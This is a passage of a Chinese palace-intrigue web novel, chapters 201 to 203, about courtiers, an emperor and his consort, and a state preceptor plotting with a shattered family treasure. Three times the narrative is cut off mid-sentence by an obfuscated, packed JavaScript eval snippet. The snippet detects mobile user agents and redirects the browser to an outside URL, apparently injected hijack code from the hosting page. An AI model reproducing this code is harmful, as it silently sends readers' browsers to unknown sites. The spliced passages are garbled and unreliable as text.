“您还是想想贵妃吧。”晏霁之不咸不淡:“魏王照顾过贵妃姐妹俩很多年,贵妃当年曾求助过您和魏王的长兄悼太子,若是几年后魏王临死前托孤,您想过吗?” 嬴忱璧一愣,没想过,晏霁之补充:“而且魏王世子不错的没长歪,他爹若造反而死,他懂得不会生歪心,贵妃能做到不给魏王留下这一点血脉吗?” 嬴忱璧微微拧眉,晏霁之又指出:“陛下没想请太上皇颐养天年吧。” 皇帝看他,晏霁之眼含笑意迎着皇帝的视线:“您让老秦王回来,就是想让老秦王这个小叔和国丈老穆国公一起劝劝圣人,想让圣人放下心结。” 嬴忱璧赞:“朕没有任何意向流露过,你居然能看出来。” “楚氏。”晏霁之解释,嬴忱璧一怔又恍然,晏霁之感喟:“您会心痛,你不想看见父亲因为一个权字把自己变得人不人鬼不鬼。” “霁之敏锐。”嬴忱璧开诚布公:“是啊,生老病死,谁都逃不过,老国丈和我说,我皇祖父当年面对死亡就很坦然,我想我们都坦然面对吧。” 晏霁之眼观鼻鼻观心:“我们心平气和谈一谈,我希望你不要生气影响你的判断。” 这下,皇帝看他的眼神就有点微妙了:“你想说什么?” “长念长公主。”晏霁之说。 嬴忱璧内心:呵呵。皇帝问:“哪来的长念长公主?” 晏霁之觉得,他和皇帝没法谈了。 嬴忱璧把晏霁之赶走,晏霁之出宫,在坊间慢步,又走到个鱼摊前,借刀? 借刀? 晏霁之醍醐灌顶。 201. 第201章 借刀啊! 姬家想让霍灵渠来动手。 晏霁之心绪沸腾,思绪扰乱,他几乎头重脚轻走去个附近的吃食摊稍坐,摊主给他端来碗羊肉,他才意识到他刚才有点了吃的,晏霁之问有酒吗?摊主给他送来一坛家酿的米酒,晏霁之倒酒,又一碗,两碗酒灌下,人冷静了些。 蜀王? 晏霁之喊摊主结账,付锭碎银让摊主不必找了,他慢慢走,走出坊市,来到蜀王府前,看车队络绎不绝,晏霁之扫视,找见霍绥业,走过去。 “这就是故意趁皇帝心情不好想给皇帝添堵。”霍绥业眉头不舒。 “蜀王在拉拢霍家?”晏霁之估量,霍绥业闻言老脸真就有点啼笑皆非。 晏霁之拧眉:“他做了什么?” 姬太妃拜访霍贵妃,霍灵渠让宫人在廊前摆座椅,请太妃在廊前说话。 面对面坐,霍灵渠抱着小幼儿,姬太妃弯唇:“小家伙还挺懂,知道要搂紧贵妃。” 霍灵渠直截了当:“太妃有话直言。” “好。”姬太妃抿口香茗,莞尔:“老妇悉闻,陛下承诺贵妃会让贵妃入主中宫,可贵妃就是做了皇后,皇帝这一堆的妾室儿女能没有吗?他们一样会天天在你眼皮底下让你难受,可蜀王就不一样了,他苦过多年,他又这个年纪还没有娶妻,他不好女色,他又是你表哥,将来一生一世一双人才是女子渴求的最大幸福,贵妃说对吗?” 霍灵渠逐客:“不送。” 姬太妃施施然告辞,又去长春宫向霍太后保证,她没兴趣做太后,不会跟她争这位置,霍太后看这老女人有点无语了,传到皇帝那儿,嬴忱璧窝火,想骂蜀王了。 夕阳渐红,皇帝迈去贵妃寝阁,瞥见地板铺被褥,视线往前,霍灵渠在和小幼儿拍手,嬴忱璧心里舒服些坐过去,霍灵渠把小幼儿抱好,拿只香袋给孩子,小幼儿不玩了,就倚靠着贵妃,霍灵渠和皇帝说:“虽然孩子小,也能看出来像你了。” 嬴忱璧佯装:“朕怎么没看出来,哪像呀?” 霍灵渠语轻快:“一样害羞。” 你说我害羞,我哪里害羞了?嬴忱璧忍住:“贵妃休得乱言。” 霍灵渠和小幼儿说:“爹爹乱说,爹爹乱说。” 小幼儿拍手,嬴忱璧看他俩嬉闹会儿,打断道:“朕自是很相信贵妃,但,对方狡诈,朕还是只能和贵妃说不要被迷惑,一时想错。” 霍灵渠不以为然:“我想也是想出宫,蜀王若能帮我出宫,我可以和他谈。” 嬴忱璧一脸将生气的架势:“贵妃?!” 霍灵渠睨他:“你想来跟我说你以后不纳妾了?” 嬴忱璧:“……”皇帝端一端:“贵妃当知道,朕喜欢你。” “你曾经说过这样的话,朕珍爱贵妃是朕喜欢贵妃,朕想对贵妃好。”霍灵渠领会道:“可若是你不喜欢贵妃,你不想对贵妃好了呢?况且这个贵妃是你抢来的,不是霍贵妃愿意做你的贵妃。一个你抢来的贵妃尚且会被你弃如敝履,我怎敢? 你我还有几十年的人生,我怎敢对着你,一个发怒就是能要我命的人到老到死,你是皇帝,我可以孤独终老可以嫁人,但我想嫁的人一定是和我同等的人,不会让我害怕惹怒他,不会让我担忧若是他不喜欢我了我是不是会死,你是皇帝。” 霍灵渠诉:“这个人不会是你。” 霍灵渠很理智的跟他说:“今年放我出宫吧。” 嬴忱璧没被打击:“贵妃不喜欢朕,才有这么多借口吧?” 霍灵渠乘胜追击:“你愿意对我好?” 嬴忱璧就看见有坑在等着他,阻道:“不要借口想让我撤掉不准晏霁之来找你的规定,这就是你仗着朕喜欢你在欺负朕了。” 不撤就不撤,反正霍灵渠想假死出宫了,皇帝么,她想能跟嬴忱璧说得通是别妄想了,霍灵渠装腔:“在宫里太闷了,我想出宫去住两天。” 嬴忱璧陪贵妃聊聊:“一个月前朕才陪贵妃出宫过。” 霍灵渠找错:“一个月多了。” “一个月多几天,三十五天而已。”嬴忱璧比贵妃高音,霍灵渠耍赖:“反正我要出宫,你连让我出宫去住两天都不愿意还敢标榜对贵妃好?” 嬴忱璧指责:“让你去跟蜀王和魏王谈假死吗,你当我猜不出来你在想假死吗,哦对,还有晏霁之,我让你出宫去让你们四个一起商量来怎么对付我?” 霍灵渠搂着小幼儿,嬴忱璧:哼!! “我要出宫!”霍灵渠激将法:“你不让我试过,你绝不掉我心思的,你也不想我年年月月跟你念叨吧,你就让我出去,若我们四人都对付不了你,我出京畿了还被你抓回来,我走去天涯海角都被你找到,我也就死心了,你说是不是?” 嬴忱璧抱过孩儿去用晚膳。 这是想让她讨好他吗?霍灵渠握握拳头。 晏霁之下衙,去霍家见老穆国公。 “长念长公主的来历,老国公可知晓?”晏霁之略过寒暄,开门见山。 霍擎默认,晏霁之急问:“老国公可有对策?” “我动不了国师。”霍擎看向对面的年轻人,叹道:“老头我只能请你也不要去动国师,不能告诉圣人不能告诉陛下,不能告诉灵渠,这一局没得解。” 晏霁之反问:“您相信蜀王没有登顶之心?” “做皇帝必须怎样?”霍擎说,晏霁之微愣,霍擎自答:“瞧我这皇帝外孙,宰了多少曾经他捧在手心里宠着爱护着的宝贝疙瘩,这些人死在什么上? 全都死于一点,皇权。对于这些个想跟他争权的,他的屠刀多干净利落果决,你看他有过一丝一毫的犹豫吗,你再看蜀王,一个外祖家让他半死不活折磨多久,他又有这么多宗亲被杀害了,他外祖家做的,他还能受得了,他还待得住吗?” 晏霁之赞同:“这若是嬴忱璧——” “跟没事人似的。”霍擎描述:“外祖家想报仇,我让你们报,宰了这么多够可以了吧,还想把他爹宰了再牵涉他,他能把剩下这几个外祖家人全宰了。” 晏霁之失笑,又凝重:“我们无能为力吗?” “你若想娶灵渠,这是在送你人情了。”霍擎提醒,晏霁之摇头:“我不要这样的人情,这对灵渠太残忍,我想她出宫,我想娶她,我会自己想办法。” 霍擎不语,晏霁之考量道:“陛下想让圣人放下心结,他愿意让父亲有生之年都掌权,陛下和老国公谈过了吧,您与老秦王可已有去劝过圣人?” “后天去太微宫。”霍擎告知,晏霁之提起心:“您相信能劝动圣人吗? 霍擎端起茶盅抿口参茶,料想:“最坏的结果是什么?” “圣人认为这是陛下在施舍他,反而恼羞成怒。”晏霁之肯定,霍擎应对,话锋一转:“还有一种可能,最好的可能,如皇帝所愿。” 晏霁之讶然:“您偏向于后者?” 霍擎喟笑:“你真当老皇帝到这份儿上还会鬼迷心窍吗,他也想让自己做个很好的人,一个很好的皇帝,他爹、祖宗们,还有爱人,都在天上看着他,他要去地下见他们的,他爹坦坦荡荡走了,他若死活不愿清醒,他怎么去见他爹? 完人。 他比任何人都想做完人,皇帝执着的想要圆满,皇帝憋着劲想让所有人对他刮目相看,像不像呀,我前几天还跟他说呢,你是你们父子俩自己没觉得性子有多像,对照着给你俩数一数啊哪哪都像,你不怕你儿子过几年也学你修仙?” 晏霁之看老国公,霍擎淡淡道:“我跟他说了,他想啥呀,这都是个做皇帝的通病了,我这岁数,我没几天活了,他想做什么谁也拦不住,但,他真就开心吗?” “所以眼下,国师哄骗圣人的就不该是长命百岁长生不老。”晏霁之豁然开朗:“这是环环相扣,在朱家造反前他们算好了,对朱家,让朱家万劫不复,对圣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751496|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和皇家,屠戮皇室宗亲再告诉圣人——”晏霁之看向老国公,霍擎眉头打结:“说什么?” “他们可以给圣人重造天地,让他死去的族人们活过来,乃至回到恶果开始前,回到姬家的惨祸发生前,回到圣人正年轻意气风发的时候。”晏霁之心绪起伏,措辞也有些激烈,霍擎手掌不轻不重落在桌案:“能圆了,姬家这个宝物。” “能圆了?”晏霁之怪,霍擎实有感喟,蛰伏二十多年,这是二十多年前就想好了吧:“霍漓江说,他就是这么哄圣人的,他不报仇,他只想让他的族人们活过来。” 晏霁之哑然。 霍擎纵观:“其实知道他如何哄骗圣人又能怎样,他要动手了,已是枉然。” “可他若是哄住圣人,圣人纵使清楚这是不可能的事,但心向往之愿意放任国师行事,陛下能答应吗?圣人可是想过:踏破铁鞋无觅处。”晏霁之按着好像有要呼之欲出的心绪,慢着推敲生怕会遗漏,看向老国公,视线交锋,霍擎眯起老眼。 “他们还得用到一个人?”霍擎揣度,晏霁之说:“霍灵渠,霍贵妃。” 霍擎脑子沉重又像是能轻了些:“皇帝不肯答应,皇帝和太上皇起冲突?”霍擎否道:“此事在于他随时能动手,而他就快动手了,我们挡不住他。” “唯有皇帝挡得住他?”晏霁之喃喃,霍擎反问:“可能吗,这前提,皇帝赐死他、请太上皇颐养天年,贵妃有这份量吗?” “若是皇帝要把姬家这宝物毁了,能不能拖住他?还有蜀王,能不能让蜀王站出来?”晏霁之思忖:“蜀王装作想争皇位是给他做掩护,但若蜀王真拉过他给外甥争皇位呢,只要我们能磨掉他想对付圣人的心思就能拦住他。” 霍擎笑,挑破:“你还真没想除去他。” 晏霁之微愣,看对面的老人家,相告:“我猜到灵渠母亲的身份了。” 霍擎眼底不可思议,晏霁之坦率道:“灵渠晓得,她自己猜到的,她说,念念不忘,大概她始终想不通,这个谜在她心里,她对她爹又太懂,遇到个灵感,她就想明白了。我是,我见孟怋乂,突然想到,若是孟怋乂会喜欢什么样的人?” 霍擎哈哈笑,笑得眼泪出来了,晏霁之终问:“您相信国师会鱼死网破?” “我拿什么跟他赌啊,赌他能放过我女儿和孙女,他要的就是霍灵渠亲自去动这个手,他算计的会只是太上皇的命吗?”霍擎苦笑,惨淡。 “皇帝想要圆满,在皇帝觉得将圆满之际往皇帝心里捅上一刀把皇帝的心劈碎,还得是嬴忱胜、嬴忱旌他们嬴家几个喜欢霍灵渠的他就拉上几个,你说呢?” 晏霁之没想这么深:“他,他这是和姬汜一样也在拿自己的命相搏?” “是啊,他这事做下来怎么可能还能有命,圣人对他没有防范,因为他若敢害太上皇,他也会没命的,圣人哪想到他们不怕死。”霍擎凄哀:“他死盯着我呢,我若想跟他赌一把,他只是想要我女儿一条命,我若是都不愿意给,他还能跟我客气吗?” “贵妃?”晏霁之不自觉心口发寒:“想请皇帝出手就必须让嬴忱璧知晓霍家有什么把柄在他手里,还不能告诉嬴忱璧,他的计划,否则,太微宫派人来请太后去趟若都请不动,他岂能不起疑,我们赌不起他会不会鱼死网破就不能赌,唯有?” “他把秘密曝出来,皇帝都能不在意、不让太上皇知晓。”霍擎说。 晏霁之压住心底微寒看向老穆国公,霍擎估量:“你想霍家向皇帝坦诚霍灵渠的身世,你认为霍家能有这样的份量,我能拿这等事去试?” “贵妃曾经猜,她怀个不是皇帝的胎,嬴忱璧能容忍。”晏霁之心也忐忑,但不试又岂知没有生机?霍擎低眸,不语,晏霁之沉吟,定道:“先把姬家这宝物毁了。” “我去找蜀王!”晏霁之站起来疾步往外冲去。 霍擎看年轻人像阵风似的跑掉,心里发酸,眼眸湿润。 202. 第202章 你和你外祖家痛苦的根源在哪儿? 阿胜看着来人,一来,就说,我来是想请王爷和我一起做一件事,把姬家的宝物毁了。晏霁之激越铿锵:“你外祖家的仇已经报了,你还要纵着他胡来吗?我猜到了,你这位小舅他还想要对付太上皇,想利用姬家这宝物去蛊惑太上皇放任他行事。 你难道就会好受?你还有什么对不住你这外祖家,你不能阻止他?你是能站出来的人,这件事你不做谁做,人若是拥有一件会给自家招来灾祸的物件,留着它只会是无尽的灾难,姬汜生前言,家族人数不能过千仿佛是一个诅咒。 这教训还不够吗,你难道想让灾难不断的重演,姬家隔几代人就遭受一次灭顶之灾吗?姬沛当年的想法才是对的,毁了它,结束吧,把这宝物拿出来毁了。” “宝物已经碎了。”阿胜道。 “碎了是毁了吗?”晏霁之咬定不放:“碎了是没了吗,碎了是不是等于还在,若再有人家想去抢,姬家跟人说这宝物碎了能够消灾解难吗?”晏霁之握住蜀王的手腕,做主道:“你跟我进宫,我们去找皇帝,我来和皇帝谈,你看着就行了。” 晏霁之拽着蜀王就走,阿胜睨睨他,没有甩开。 嬴忱璧在关雎宫,戌时二刻,皇帝带孩儿饭后消食在庭前走过几圈,回屋,贵妃傍晚时和孩儿拍手,他们就接着教孩儿认识他的小手,握拳,拳头,出拳,打拳,小幼儿玩会儿,高兴扑进贵妃怀里,霍灵渠抱着孩子:“最近有没有重一些呀?” “重,重。”小幼儿雀跃,霍灵渠失笑:“不重,不重,我们还不重呢。” 嬴忱璧愉快,宫人禀告蜀王和英王世子求见,皇帝不快了,晏霁之又想来扫兴? 霍灵渠说让他们进来,宫女领命退下,嬴忱璧瞪贵妃,霍灵渠抱着小幼儿去外间,嬴忱璧跟上,心里琢磨着晏霁之若又说什么指蜀王一个人害怕就给他用点刑。 “把姬家的宝物毁了?”嬴忱璧视线在他俩之间逡巡,有点诧异晏霁之进宫来的借口:“霁之怎么想到姬家的宝物了,又想把姬家宝物毁了?” “陛下,以我姑母和姬沛的关系,我家会知晓姬家的宝物传说是个什么样神奇的物件,不奇怪吧?”晏霁之似答非所问,嬴忱璧没计较:“然后呢?” 晏霁之讲出思虑,嬴忱璧一噎,没想过这情形,晏霁之转向:“贵妃,把宝物毁了吧,若不然因它而起的灾祸就不会有断绝的时候,让这一切在这一代人结束吧。” “嗯嗯。”霍灵渠很赞同:“表哥,怎样才可以把宝物毁了?” 阿胜据实道:“先得把宝物的碎片拿到。” 霍灵渠呃?晏霁之看向皇帝,嬴忱璧看他不怀好意:“你看朕做什么?” “陛下您和太上皇谈,你们要用姬家宝物救人,让国师把宝物拿出来。”晏霁之提议,嬴忱璧未置可否:“霁之似乎相信这宝物的传说是真?” 霍灵渠心忐忑,小幼儿抓只金桔给贵妃,霍灵渠给娃娃剥桔子,晏霁之道:“陛下,臣信不信不重要,但若有奸佞相信,此物就会招来源源不断的灾祸。” 嬴忱璧揪问:“那么你是信呢还是不信?” “天地间若有这样的机缘,这气运必定是属于一个王朝、属于陛下的。”晏霁之感笑:“空前的盛世就要来了,若非君王、非王朝鼎盛不能承载起气运之重。” “哈哈哈!”嬴忱璧龙心大悦:“对,姬家这宝物是该毁了。” 皇帝没迟疑,定明天他去和太上皇谈。 阿胜走,晏霁之告退,霍灵渠目送他消失,低眸,霁之是有感触而非单纯想捧皇帝吧,冥冥之中似乎就是这样的安排,这一世,成就嬴忱璧空前的盛世。 霍灵渠抬眸,对上皇帝,嬴忱璧微笑:“贵妃想什么呢?” “姬沛生前曾想毁掉家传宝物。”霍灵渠感叹:“会否,姬家这宝物只能毁在你手里,所以姬沛当年想毁而不得,因为只有你承得起这宝物蕴藉的重量。” 嬴忱璧微怔,握住贵妃的手:“是我们,我们同担天下。” 霍灵渠把小幼儿的手放他爹手里,嬴忱璧笑,抚抚孩儿的脑袋。 翌日,一早,嬴忱璧去太微宫,把蜀王、魏王和晏霁之都带着,带晏霁之是防他趁机去和贵妃会面。晏霁之没进殿,在殿外吹风,冷静下脑子。 太上皇获悉皇帝来意,大殿高阔,一刹间仿都装不住四人风谲云诡的沉寂,蜀王补充:“若是这玩意儿没用了就毁了吧,省得再惹出什么大灾大难来。” 嬴忱璧不犹豫:“朕同意。” 魏王只好跟上:“孩儿也没意见。” 太上皇传国师来,国师被告知过后安之若素:“宝物碎了,碎片自然是没用的,圣人和陛下想等贫道把宝物修补好试过还能否灵验还是今日就毁了?” 太上皇若有思量,嬴忱璧看看他爹,问:“如何修补?” “若不急,以霍灵渠的血滋养;若想尽快,焚了霍灵渠祭它。”国师给出办法。 “那么又当如何毁之?”魏王问。 “浸着霍灵渠的血熔了它。”国师答,魏王哼笑:“怎么都绕不过贵妃了是吧?” 国师报以一笑,嬴忱璧沉着道:“想毁掉此物真有国师说那么轻巧?” “霍灵渠会不会一同丧命,不保证。”国师给忧患,嬴忱璧再一噎,魏王当看个乐子,嬴忱璧保管想骂他神棍了但骂不出来呀,毕竟人家真有些本事。 皇帝拂袖站起:“国师还是暂且斟酌,朕相信国师会想到个两全的法子。” 国师颔首,太上皇没留儿子们,谈完就让他们走了。 晏霁之挨到皇帝放行,去工部衙门。 他废寝忘食夜以继日投在一堆书籍和器械中,聚精会神间投来一片阴影,晏霁之抬头,国师笑道:“贫道想向英王世子借一样东西。” 晏霁之戒备:“不知是我借得起的还是我借不起的?” “只是一个荷包。”国师告知,晏霁之打量他,否道:“你不是来借荷包?” “半年前,你问姬潮,长念长公主。昨天,皇帝想把姬家的宝物毁了,前天夜里,你去蜀王府又拽着蜀王进宫找皇帝,皇帝第二天就找太上皇想毁了宝物。你突然扎在工部衙门,你目前在意什么事,你去年送给朱存焳的大礼,我岂敢掉以轻心?” 国师道出:“你不该想找姬潮。” 晏霁之一瞬间感受到老穆国公说的:他死盯着我呢。 “你不在意毁了宝物?”晏霁之恍惊觉:“你比任何人清楚,没有机会了,宝物碎了,你见不到你的族人了,所以你才一报还一报屠杀皇室宗亲。” “我算准了应该还有一位。”国师如点漆的眸子沁笑:“是你。” 晏霁之对视他:“我让你见到你的族人,你把画像给我,我会脱去画像的壳让他们呈现在你眼前,让你看见活过来的族人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762429|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”晏霁之走前一步,目光炯炯:“仇报了,他们安息了,他们还有的心愿是活着的人好好活着,你不要再拿自己去赌。 你带着还在的族人们好好生活才是他们的祝愿和希冀,你的族人们你的爹娘你的哥哥,他们每个人都会这样告诉你,比起那条命,他们只会想让你活着、你们活着。” 国师挑眉:“看来我今夜确实该来。” “你是想报仇还是拿报仇遮掩,若为报仇,你们已经做完了,你若还不痛快,你给蜀王争皇位啊?”晏霁之好笑:“你都不怕死了,还怕蜀王输了会连累你吗?但若你们争到了,对你会有多酣畅淋漓,你的族人们都要笑傲九泉了。” “这一世的机缘赖于霍灵渠有凤命且还握着能开启宝鼎的钥匙,但,不够,还源于嬴忱璧能开创万国来朝的盛世。”国师不介意告诉他:“阿胜没有帝王命。” 晏霁之讶然:“你清楚宝物会毁掉。” “宝物不毁,如何改霍灵渠的凤命,纵使宝鼎没碎都不会再有机缘了。”国师眼底一暗又精光射向他:“你?你想阻拦我何不把我的意图告诉皇帝和太上皇?” “我猜到灵渠母亲的身份了。”晏霁之似有感到疲惫又好像闲话家常:“我自己察觉的,想到我那未来岳父会喜欢什么样的人也就不难猜了。”晏霁之惹笑:“难怪姬汜要说他是个乱入的了,是吧,灵渠也猜到了,她不会按你给她的路去走。” 晏霁之又泛起紧张:“你哪怕看在她的份上呢,难道这份血脉不值得你珍惜,你要对她那么残忍?”晏霁之谆谆劝:“姬沛若是还在,他绝不会同意你那么做。” “但他死了。”国师波澜不惊。 “这完全可以放下的计划比你的亲人们还重要吗?”晏霁之飚怒训责:“仇已经报了,你却还不肯罢休,你是想报仇还是就想让你的至亲们痛苦,让你的姐姐姬太妃、外甥蜀王、还有灵渠苦不堪言,让你逝去的族人们不得安息,你高兴吗?” 国师瞟向他,给他一句话:“你来迟了。” “不——”晏霁之连忙争取。 “你迟了一年。”国师打断:“没有迟的那位束手了,你迟了一年,就是天意。” 晏霁之电光火石间往外冲,在廊前被涌现的黑衣人逼退屋内,国师没有转身,淡淡道:“霍灵渠刚进宫,我送了你们一个人情,当你还我人情了。” 嬴天漾和原牧炽进屋来,晏霁之眼前一亮,狂喊:“跑,找老穆国公。” 他俩愣下就被俩黑衣人拦住出去的路了,打啊,不带想撤的,晏霁之倒下前只想,这俩憨憨!果然水鸭子是被淹死的! 嬴天漾昏倒前还憋屈呢,谁想这几人压根儿不是来打架的,没过几招出迷香,不然他和老六能输吗?冤死了。 国师来抓一个收获三个,全给带走了。 他回到太微宫,小道士拿来最沉的粗铁链将这三个囚住后退下,国师扫视几许,转身,太上皇就进来了,他似有预料又或者说没有预料也毫不在意被抓个正着,太上皇似也温和:“是你,皇家宗亲遭杀害的背后是你,是你做的?” “但我们的目标是一样的,我们都想回到三十年前。”国师伸出手,手掌心一只荷包,绣有骗子二字:“这一世恩怨烟消云散,明天,我们都可以放下了。” 太上皇眼神一闪。 半个时辰后,太微宫的旨意送入臧府,圣旨放书桌,臧芣缄久伫窗前,天乌黑。 203. 第203章 夜阑,天将亮未亮,在朦胧暗色中的皇城若泰山似猛虎,有吞吐天地之雄威。 皇宫门初开,班丞相率霍秦川和晏墉、原牧烈、翊善伯等进宫求见皇帝,嬴忱璧诧异:“他们在工部衙门失踪了?”嬴忱璧还真没收到过消息。 “禀陛下,确信是没错了。”原牧烈禀告:“云南王和舍弟昨天晚膳后去工部找晏霁之,半夜未归,臣去寻人,翻遍工部衙门都没有找到他们,屋里有打斗的痕迹,值夜的小吏说,昨夜,国师去过,臣怀疑是国师把他们三人掳走了。” 嬴忱璧眼底一冷。 关雎宫的寝殿亮起两盏小灯,姬太妃派人来求见贵妃。 霍灵渠还在床帐,小幼儿安睡在她身旁,她和小幼儿原是两个被窝,有一回小幼儿被打雷吓到了,爬出被窝来找她,之后,小幼儿就爱跟她一个被窝。 霍灵渠琢磨姬太妃想耍什么计策?天不亮就派人上门来,宫女将木匣呈给贵妃,霍灵渠接过木匣打开,眼神一缩,木匣里放着个荷包,她绣了骗子的荷包。 “让人进来吧,你去殿外守着。”霍灵渠吩咐,宫女告退。 来人进贵妃寝殿,跪在床前,床帐里,霍灵渠沉着俏脸:“姬太妃什么话?” “一个时辰后,太微宫会派人来请贵妃。” 霍灵渠握着她的荷包,镇定道:“这也许是你们伪造的,或者你们偷来的。” 来人抬头:“贵妃娘娘心念着想离宫,就这一两日了,错过了,娘娘还能找到机会吗,去年,我们曾帮贵妃一解相思苦,我们对贵妃是没有恶意的。” 霍灵渠感觉心狂跳。 霍漓江在太微宫外把人约出来,问他做了什么,国师相告,要求霍家当众把话曝出来,霍漓江狐疑他想做的事,国师笑:“皇帝想把宝物毁了,我在帮他呀。” “你也想把那玩意儿毁了?”霍漓江感知:“没有晏霁之,你过两日也会跟太上皇说要修补那堆碎片,牵涉贵妃,皇帝照样会提出,把这宝物毁了吧。” “还留着它做什么?”国师话锋一转:“可宝物毁了若不人尽皆知,姬家岂有宁日,除非世人皆知姬家没有宝物了,皇帝亲自将此物毁了,才能给我家清净。” “你想让太上皇死?”霍漓江提醒:“圣人若死,你还能有命吗?” 国师被逗趣了:“你看我还想活吗?” 霍漓江无言:“就今天?” 国师赞同:“对,就今天,我可以放下了。” 霍漓江沉默下离开,去皇宫把事情告诉他哥,没有进宣政殿,心里有些沉闷。 天已大亮,太阳金辉洒在人间,蓬勃的朝气落在皇城,闪耀出夺目的辉煌,太微宫派人来请陛下和霍贵妃,霍灵渠有感煎熬的抱着小幼儿坐在梳妆台前,嬴忱璧还得的禀告是,一刻钟前,湘王带着两个弟弟和滕王赶去太微宫了。 魏王迈进宣政殿,好几位大臣皆在,霍秦川急急从魏王身侧跑过,十万火急一般的喊:“陛下,查到了,国师蛊惑圣人说可以让光阴退回到三十年前。” 魏王立时险些想心塞,丞相和几位老大人呃…… 霍秦川在心里笑话,瞧瞧皇帝和魏王,回到三十年前,你俩算是要完了。 “朕斩杀妖道,会怎样?”嬴忱璧意料中,皇帝要把蜀王外祖家的宝物相当于在蜀王手中的宝物毁了,蜀王不以为意反而积极,蜀王何意呀? “您和圣人剑拔弩张。”霍秦川默默给答案。 嬴忱璧沉寂下,想安静会儿,臣子们退去殿外。 没一刻钟,魏王进殿,嬴忱璧抬眸看他。 “这爹真放心蜀王吗?相比蜀王,他更放心你吧。”魏王道:“你我若今天没了,他能立蜀王吗?他不怕把自己变成一个苟延残喘的老人?” “他把滕王都传去了,却没有传长孙。”魏王挑明。 太上皇渴望回到三十年前,可大臣们谁会认同,皇帝率众反对,双方必起冲突,假若圣人胜了,但他既未如愿又给蜀王做嫁衣,怎办?做君王的警觉,圣人不得不防若有个万一,没有传长孙就是太上皇给自己留的后手。 简郡王的年纪合圣人心意,但简郡王有班家,与湘王有霍家差不多,圣人若留简郡王,大概还是得颐养天年,若是留吴王?蒙家是不必看在眼里,但太上皇把儿子们叫过去,落下吴王容易让年长的儿子们多想,那么圣人很可能什么都做不成。 但长孙歆郡王深居简出,让人忽略,母族又式微了,对圣人没妨碍,所以太上皇把支脉最近的侄子都喊过去了,不想让侄子们占便宜,却把长孙留下了。 魏王又道:“昨夜太微宫有旨意给臧芣缄,你收到消息了吧?” “嗯。”嬴忱璧派人关注,自然知晓,魏王怀疑:“你怕圣人反而会便宜臧芣缄,臧芣缄眼下还不够看,他敢想把你我连同圣人在内都除去?” “若他心战战怕死期将至?”嬴忱璧道:“赌一把,才有活路。” “还可能会大有前程。”魏王眼底锋锐:“他不敢赌你是否和圣人谈过了,或者你会否留下后手,太上皇在照样会让他感觉摇摇欲坠,但若圣人不在了,圣人的儿子们也都不在了,他拥立歆郡王,按他的愿景,那么他自然是——” “晏虎的路。”嬴忱璧说,晏虎,晏副相的父亲,晏墉的祖父,晏霁之的曾祖父,嬴氏皇族唯一出过的摄政王。嬴忱璧不怒而威:“皇祖父大智若愚,辖制得住晏虎,晏家没有辜负皇家厚爱,但咱们这大侄儿几斤两,能有皇祖父一成的手腕吗?” 魏王抿抿唇,魏王自然懂嬴忱璧的言外之意,非他不愿意孝敬父亲要与太上皇对峙,他必须为皇家社稷着想:“这是必然会出现。” 魏王恍然:“蜀王甥舅俩一定会拿宝物来说事,牵涉贵妃,我们和父皇起冲突,这是就等着你我呢。” 嬴忱璧心思活泛些,是等着我,牵涉我的贵妃跟你有什么关系? “你在想蜀王有没有后手?”魏王考虑道:“蜀王甥舅俩是自以为胜券在握了还是未必相信圣人放心他们打算黄雀在后?” “是。”嬴忱璧就怕蜀王粗狂之余更周全,他防范不及。 霍灵渠抱着小幼儿和祖父进殿来,请过安,霍灵渠道:“陛下,太微宫有传召。” 嬴忱璧想瞪她,真合她心意是吧! 前天,嬴忱璧从太微宫回来,霍灵渠问情形,皇帝说完,霍灵渠按耐着激动想跟皇帝说答应时嬴忱璧斥:“你想去配合人家假死是吧,当我看不见你两眼放光?” 霍灵渠搂着小幼儿昂过头,嬴忱璧:哼! 所以皇帝能不晓得他这个贵妃的小心思嘛,怪不得人家要抓晏霁之。 “朕若与太上皇起冲突,哪怕击溃阴谋,朕和圣人恐怕也难消隔阂了。”嬴忱璧想问:“老国公,是朕想要太多吗?朕不愿意和太上皇不睦,但是朕和太上皇之间,蜀王出手了,一出手就是狠招,朕竟想不到两全之策。” “陛下不曾想过交出贵妃吗?”霍擎反问。 “对!”霍灵渠小脸欢喜,嬴忱璧瞪过去,霍灵渠音弱下去。 “陛下去太微宫,您去前怕得保护好四皇子和周婉仪,魏王的子嗣不用担心,但陛下的两位皇嗣恐怕危险。”霍擎进言:“老臣想,您请瑞执大长公主来坐镇吧。” 嬴忱璧点头:“朕请两位姑母都来吧。” 霍擎再次问:“陛下真不想交出贵妃吗?” 嬴忱璧看向老穆国公,宣告:“老国公,贵妃是朕心爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13774156|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 